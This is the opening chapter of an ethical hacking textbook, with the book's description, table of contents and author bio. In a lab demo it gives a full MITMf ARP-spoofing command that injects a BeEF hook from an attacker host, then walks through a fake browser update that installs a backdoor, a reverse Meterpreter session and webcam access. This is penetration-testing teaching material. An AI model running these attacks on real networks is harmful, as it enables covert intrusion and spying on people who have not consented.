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Learn Ethical Hacking from Scratch

Chapter 1. Introduction

Primarily, this chapter will provide a brief overview of the topics that will be covered throughout this book. It will cover all of the aspects associated with hacking, from how to perform hacking to protecting your system from being hacked. Later in the chapter, we will discuss the concept of hacking, discussing three types of hackers: white hat hackers, black hat hackers, and grey hat hackers. Toward the end of the chapter, we will illustrate some real-time hacking applications.

This chapter will address the following questions:

  • What's in this book?
  • What is hacking?
  • Why should we learn about hacking?
  • A glimpse of hacking

What's in this book?

In this book, you will learn how to become an ethical hacker from scratch. We'll assume that you have no experience in ethical hacking, and, by the end of the book, you will be at an intermediate (to high) level.

Here is a quick overview of what will be covered in this book:

  • Preparation
  • Penetration testing
  • Protecting your own system

Preparation

In the first part of this book, you will learn how to create your own lab, so that you can practice ethical hacking on your own computer. You will also learn the installation of Linux systems and how to interact with them, as well as how to set up other systems to try to hack into them.

Penetration testing

In this part of the book, we will cover the most important penetration testing fields. In each of these sections, we will first illustrate how a particular system works, and will then test the security of that system. In the following sections, we will introduce the types of penetration testing that will be seen in this book.

Network penetration testing

In network penetration testing, the first things that we will learn are how networks work and how devices interact with each other.

First, we will learn more about the networks around us; we will gradually proceed by setting up a fake access point and luring people into connecting to networks so that we can capture data that is sent or received through them. We will then learn how to get the password for any Wi-Fi network, whether it uses WEP, WPA, or WPA2 encryption.

We will also go over a large number of powerful attacks that will allow us to gain access to any account that is accessed from any computer in a network. We will be able to capture usernames, passwords, images, and pictures that computers on a network send or receive.

Gaining access

In this part of the chapter, we will learn how to gain access to computer systems. There are two methods to hack a computer:

  • Server-side attacks
  • Client-side attacks

When learning about server-side attacks, you will see how to discover weaknesses in the programs installed on the target computer, and how to use those weaknesses to gain full access to the computer.

In the client-side attacks, you're going to learn how to use social engineering to hack into the target, you'll learn how to create undetectable backdoors, backdoors that look like images and pictures, and so on. We will also learn how to gain access to any computer if that computer exists in our network by using fake updates or by using fake downloads.

Post exploitation

In this section, we look at post exploitation, learning how to control the devices that we hacked. So, we're going to see how to open a system's webcam, manage its filesystems, and download or upload files to it. We will also learn how to capture all of the key strikes that the person enters on their keyboard, or even use that computer as a pivot to hack into other computers.

Website penetration testing

In the final sections, which will be about website penetration testing, we will learn how to gather very comprehensive information about websites, including how to discover, exploit, and mitigate a large number of serious vulnerabilities.

Protecting your system

Finally, we will learn how to protect ourselves (and our systems) from the attacks discussed in the preceding sections.

What is hacking?

Through hacking, you can do anything that you're not supposed to do (or allowed to do). For example, you can view information that you don't have permission to see or use a computer that you're not allowed to use. There are many different types of hacking, such as email hacking, computer hacking, server hacking, and web application hacking.

There are three different types of hackers:

  • Black hat hackers: Black hat hackers hack into systems for their own benefit; these are the ones that steal money or break systems purely to benefit themselves.
  • White hat hackers: White hat hackers try to secure systems; they might use the same methods as black hat hackers, but they only do it on systems for which they have permission to do so, in order to see if the systems are vulnerable—they hack them in order to fix them.
  • Grey hat hackers: There are also grey hat hackers, which are a mix of both; they will test any systems that they want to test, even if they don't have permission to hack them. Once they do hack into things, they don't break anything or steal any money; they don't cause damage. They might even tell the administrators how to fix it.

In this book, we will be white hat hackers. This book is only about teaching hacking for educational purposes. It is for people who want to be able to secure their networks, and who want to work as pen testers to secure computer systems.

Why should we learn about hacking?

Hacking is an existing field—there are many job opportunities within it, it is happening every day, and it involves a growing demand for protection. We all heard about the Sony hack when PlayStation was down for a considerable amount of time. Companies such as Sony are actually hiring people to try to hack into them. You're going to learn how to hack into networks and systems so that you can secure them from black hat hackers.

Not so long ago, someone found a way to brute-force the restore password key for Facebook on its mobile website, because Facebook didn't check for the number of times that you entered the incorrect PIN. Once the person had done this, they told Facebook about it, and they were rewarded with $20,000, because Facebook has a bug bounty program. At the moment, many websites and companies have bug bounties – they are asking people to try to hack them, and they will pay a certain amount of money if a hack is successful, depending on how dangerous the exploit is.

A glimpse of hacking

In the coming sections, we are going to learn how to install the operating systems and programs needed for hacking. We will then learn some basics about hacking, and how to use the operating systems involved. Before we start, I'd like to give you the gist of what you're going to be able to do by the end of this book. In this section, we are going to go through an example of hacking a Windows computer from a Linux machine.

Don't worry about how we installed these machines or how to run these commands; right now, this is just an example. In the future, we're going to break this into steps, and you will see exactly how to run the attack. You will also learn about how the attack works, and how to protect yourself from such an attack.

Browser exploitation framework

Now, we are going to use a program called Browser Exploitation Framework (BeEF):

  1. We're going to launch BeEF XSS Framework. It uses JavaScript code to hook a target computer; once a computer is hooked, we'll be able to run a number of commands. Following is a screenshot of how it looks:

  1. To run the commands, we will use a man-in-the-middle attack to automatically inject the hook code for BeEF. We will use a tool called MITMf to perform an ARP spoofing attack. We will give it the network interface, gateway, and target IP address, which is the address of the Windows machine.
  2.  Next, we will tell MITMf that we want it to inject a JavaScript URL, and give it the location where the hook is stored. The code will look something like this:
mitmf --arp --spoof -i eth0 --gateway 10.0.2.1 --target 10.0.2.5 --inject --js-url http://10.0.2.15:3000/hook.js
  1. Once this is done, hit Enter, and it will run successfully. Its output is shown here:
  1. This looks very complicated; we don't know where we got the options from, so it probably all looks very confusing in the preceding screenshot. Again, don't worry; we will discuss it in detail later on, and it will become easy for you. Right now, all we need to understand is that this program is going to inject the hook code; the code allows BeEF to hack into the computer, into the browser used by the target person, and the code can run without the person even knowing.
  1. Now, go to the Windows machine and run the web browser. We're just going to go to any website, such as Google or Bing.
  2. If you go back to the Kali machine, you'll see that we have the IP address of the target person under Hooked Browsers, and, if you click on the Commands tab, you'll see a large number of categories, with commands that you can run on the target computer. These are shown in the following screenshot:

  1. Let's display a fake notification bar to the target telling them there's a new update, so click on Social Engineering | Fake Notification Bar (Firefox), as shown in the following screenshot:
  1. This is going to show the target person that there's a new update, and, once they have installed the update, we can hack into their computer. Now, let's configure the fake notification bar to install a backdoor once the user clicks on it.
  2. We have a ready-made backdoor that's not detectable by antivirus programs (you will see how to do that in upcoming chapters). We will store that backdoor, and call it update.exe. 
  1. Next, we will click on Execute. Now, before we run the update, we will have to listen to incoming connections to connect to the target computer, once the victim tries to update their computers. Now, if we hit Execute on the fake notification bar command, the bar will be displayed in the target's browser, as shown in the following screenshot:
  1. In the preceding screenshot, Firefox is showing that there is a critical update, and you need to click on Install plug-in to install that update. Once you have clicked on it, and you can see that it has downloaded an update file, save it, and then run the update.
  2. If we go back to the Kali machine, we'll see that we managed to get a reverse session from the Windows machine. So, let's interact with that computer; we will basically have full control over it:

Now, let's see how to access the target computer's webcam.

Accessing the target computer's webcam

To access the webcam, we are going to use a plugin that comes with Meterpreter; we will use the webcam_stream command.

When we hit Enter, we will be able to turn the webcam on. It is a webcam that's actually attached to the Windows machine; we have hacked into the Windows machine, and we can do anything we want on it. Again, this is just an example of one attack that we're going to use. We're going to perform many more attacks like this, and all of them are going to allow us to gain full control over the target system.

Summary

In this chapter, we looked at some brief descriptions of the topics that will be thoroughly covered in this book. We discussed using a Linux machine to hack a computer with the Windows operating system. Then, we learned about the concept of hacking through the use of real-time examples. The different types of hackers were discussed. Finally, we saw various applications involved in hacking.

In the following chapter, we will set up a virtual environment to perform various penetration tests. We will also install Kali Linux, Windows, and Metaspoitable machines.

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  • Understand how computer systems work and their vulnerabilities
  • Exploit weaknesses and hack into machines to test their security
  • Learn how to secure systems from hackers

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This book starts with the basics of ethical hacking, how to practice hacking safely and legally, and how to install and interact with Kali Linux and the Linux terminal. You will explore network hacking, where you will see how to test the security of wired and wireless networks. You’ll also learn how to crack the password for any Wi-Fi network (whether it uses WEP, WPA, or WPA2) and spy on the connected devices. Moving on, you will discover how to gain access to remote computer systems using client-side and server-side attacks. You will also get the hang of post-exploitation techniques, including remotely controlling and interacting with the systems that you compromised. Towards the end of the book, you will be able to pick up web application hacking techniques. You'll see how to discover, exploit, and prevent a number of website vulnerabilities, such as XSS and SQL injections. The attacks covered are practical techniques that work against real systems and are purely for educational purposes. At the end of each section, you will learn how to detect, prevent, and secure systems from these attacks.

Who is this book for?

Learning Ethical Hacking from Scratch is for anyone interested in learning how to hack and test the security of systems like professional hackers and security experts.

What you will learn

  • Understand ethical hacking and the different fields and types of hackers
  • Set up a penetration testing lab to practice safe and legal hacking
  • Explore Linux basics, commands, and how to interact with the terminal
  • Access password-protected networks and spy on connected clients
  • Use server and client-side attacks to hack and control remote computers
  • Control a hacked system remotely and use it to hack other systems
  • Discover, exploit, and prevent a number of web application vulnerabilities such as
  • XSS and SQL injections

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Introduction Chevron down icon Chevron up icon
Introduction
What's in this book?
What is hacking?
Why should we learn about hacking?
A glimpse of hacking
Summary
Setting Up a Lab Chevron down icon Chevron up icon
Setting Up a Lab
Lab overview
Installing Kali Linux
Installing Metasploitable
Installing Windows
Creating and using snapshots 
Summary
Linux Basics Chevron down icon Chevron up icon
Linux Basics
Overview of Kali Linux
Linux commands
Updating resources
Summary
Network Penetration Testing Chevron down icon Chevron up icon
Network Penetration Testing
What is a network?
Network basics
Connecting to a wireless adapter
MAC addresses
Wireless modes – managed and monitor
Enabling monitor mode manually
Enabling monitor mode using airmon-ng
Summary
Pre-Connection Attacks Chevron down icon Chevron up icon
Pre-Connection Attacks
Packet sniffing basics
Targeted packet sniffing 
Deauthentication attack
What is a fake access point?
Creating fake access points with the MANA Toolkit
Summary
Network Penetration Testing - Gaining Access Chevron down icon Chevron up icon
Network Penetration Testing - Gaining Access
WEP theory
Basic web cracking
Fake authentication attack
ARP request replay
WPA introduction
WPS cracking
Handshake theory
Capturing the handshake
Creating a wordlist
Wordlist cracking
Securing network from attacks
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Post-Connection Attacks
Post-connection attacks
Summary 
Man-in-the-Middle Attacks Chevron down icon Chevron up icon
Man-in-the-Middle Attacks
Man-in-the–middle attacks
Wireshark
Summary
Network Penetration Testing, Detection, and Security Chevron down icon Chevron up icon
Network Penetration Testing, Detection, and Security
Detecting ARP poisoning
Detecting suspicious behavior
Summary
Gaining Access to Computer Devices Chevron down icon Chevron up icon
Gaining Access to Computer Devices
Introduction to gaining access
Sever-side attacks
Server-side attack basics
Server-side attacks – Metasploit basics
Metasploit remote code execution
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Scanning Vulnerabilities Using Tools
Installing MSFC
MSFC scan
MSFC analysis
Installing Nexpose
Running Nexpose
Nexpose analysis
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Client-Side Attacks Chevron down icon Chevron up icon
Client-Side Attacks
Client-side attacks
Installing Veil
Payloads overview
Generating a Veil backdoor
Listening for connections
Testing the backdoor
Fake bdm1 updates
Client-side attacks using the bdm2 BDFProxy
Protection against delivery methods
Summary
Client-Side Attacks - Social Engineering Chevron down icon Chevron up icon
Client-Side Attacks - Social Engineering
Client-side attacks using social engineering 
Maltego overview
Social engineering – linking accounts
Social engineering – Twitter
Social engineering – emails
Social engineering – summary
Downloading and executing AutoIt 
Changing the icon and compiling the payload
Changing extensions
Client-side attacks – TDM email spoofing
Summary
Attack and Detect Trojans with BeEF Chevron down icon Chevron up icon
Attack and Detect Trojans with BeEF
The BeEF tool
BeEF – hook using a MITMf
BeEF – basic commands
BeEF – Pretty Theft
BeEF – Meterpreter 1
Detecting Trojans manually
Detecting Trojans using a sandbox
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Attacks Outside the Local Network
Port forwarding
External backdoors
IP forwarding
External BeEF
Summary
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Post Exploitation
An introduction to post exploitation
Meterpreter basics
Filesystem commands
Maintaining access by using simple methods
Maintaining access by using advanced methods
Keylogging
An introduction to pivoting
Pivoting autoroutes
Summary 
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Website Penetration Testing
What is a website?
Attacking a website
Summary
Website Pentesting - Information Gathering Chevron down icon Chevron up icon
Website Pentesting - Information Gathering
Information gathering using tools
Websites on the same server
Information gathering from target websites
Summary
File Upload, Code Execution, and File Inclusion Vulnerabilities Chevron down icon Chevron up icon
File Upload, Code Execution, and File Inclusion Vulnerabilities
File upload vulnerabilities
Code execution vulnerabilities
Local file inclusion vulnerabilities
Remote file inclusion using Metasploitable
Basic mitigation
Summary
SQL Injection Vulnerabilities Chevron down icon Chevron up icon
SQL Injection Vulnerabilities
What is SQL?
The dangers of SQLi
Discovering SQLi
SQLi authorization bypass
Discovering an SQLi using the GET method
Basic SELECT statements
Discovering tables
Reading columns and their data
Reading and writing files on the server
The sqlmap tool
Preventing SQLi 
Summary 
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Cross-Site Scripting Vulnerabilities
Introduction to XSS
Reflected XSS
Stored XSS
XSS BeEF exploitation
XSS protection
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Zaid Sabih is an ethical hacker, a computer scientist, and the founder and CTO of zSecurity. He has valuable experience in ethical hacking—he started working as a pentester with iSecurity. In 2013, he started teaching his first network hacking course—which received amazing feedback—leading him to publish a number of online ethical hacking courses, each focusing on a specific topic, all of which are dominating ethical hacking. Now, Zaid has more than 300,000 students worldwide.
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